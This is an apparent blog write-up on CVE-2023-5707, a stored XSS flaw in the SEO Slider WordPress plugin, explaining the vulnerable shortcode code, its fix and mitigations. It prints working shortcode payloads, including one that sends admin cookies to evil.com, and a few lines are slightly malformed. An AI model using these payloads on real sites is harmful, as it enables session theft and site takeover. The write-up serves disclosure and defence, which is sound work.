CVE-2023-5707 - Stored XSS in SEO Slider WordPress Plugin

CVE-2023-5707 is a security vulnerability found in the popular WordPress plugin, SEO Slider, affecting all versions up to and including 1.1.. The vulnerability allows authenticated users with contributor level or higher to perform Stored Cross-Site Scripting (XSS) via the plugin’s shortcode and post meta, due to a lack of input sanitization and output escaping. This can result in malicious JavaScript executing for site visitors or administrators, leading to session theft, defacement, or further compromise of the WordPress site.

If you are using SEO Slider ≤ 1.1., it is critical to update immediately or apply proper mitigations.

What is CVE-2023-5707?

CVE-2023-5707 is categorized as Stored XSS. This means an attacker can inject JavaScript or other scripts into pages, and these scripts get stored in the database. When a victim loads a compromised page, the script runs in their browser, often without their knowledge.

How Does the Exploit Work?

The SEO Slider plugin provides a [slider] shortcode that is used to display image sliders in posts or pages. Due to poor input handling, it fails to sanitize and correctly output user-supplied attributes.

Attackers can abuse this by injecting malicious code through any attribute in the shortcode or by manipulating the related post meta fields assigned to the slider.

Technical Walk-Through

Assume you’re a contributor or author with access to the WordPress post editor.

Insert the SEO Slider shortcode with a crafted payload

[slider title="<script>alert('XSS by CVE-2023-5707!')</script>"]

Or for a sneakier payload

[slider image="dummy.jpg" description='"><img src=x onerror=alert(/cve-2023-5707/)']

Save or submit the post (depending on your permissions).

4. The script is stored in the post content/meta.
5. Any visitor (including admins) loading the page will have the JavaScript executed in their browser context.

Example Result:
When visiting the page, the browser will pop up an alert (for demonstration), or execute silent, more malicious actions like stealing cookies.

Here is a simplified example of the vulnerable code pattern

// Vulnerable handling of attributes (simplified)
function seo_slider_shortcode($atts) {
  // $atts are taken directly from the shortcode
  $title = $atts['title']; // No sanitization!
  return "<div class='slider-title'>{$title}</div>";
}
add_shortcode('slider', 'seo_slider_shortcode');

See the problem? There’s no sanitization or escaping on $title; any HTML/JS goes straight to output.

For safe code, it should do

$title = esc_html($atts['title']);

...which would neutralize embedded scripts.

If an attacker wants to silently steal admin cookies

[slider title='<img src=x onerror="fetch(//evil.com/steal?c=+document.cookie)">']

When an admin visits the post, their cookies are sent to the attacker’s server.

References and Further Reading

- Wordfence Advisory on CVE-2023-5707
- NVD Entry for CVE-2023-5707
- WPScan Advisory
- OWASP XSS Guide

How to Protect Your Site

1. Immediate Action: Update the SEO Slider plugin to the latest version (check for patched releases).

Use Security Plugins: Employ security plugins that scan for XSS payloads.

5. Sanitize Shortcodes: If you’re a developer, audit and fix code by always sanitizing and escaping output.

Conclusion

CVE-2023-5707 is a classic example of why user input must always be sanitized and escaped. Even small plugins can introduce severe vulnerabilities that compromise a whole website. Always keep plugins updated and stay informed about new security advisories.

Have you checked your plugins lately? Secure your WordPress site today!

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*This post is exclusive for educational purposes. Do not use this information for unauthorized activities. Always responsibly disclose and remediate vulnerabilities.*

Timeline

Published on: 11/03/2023 13:15:08 UTC
Last modified on: 11/13/2023 19:20:12 UTC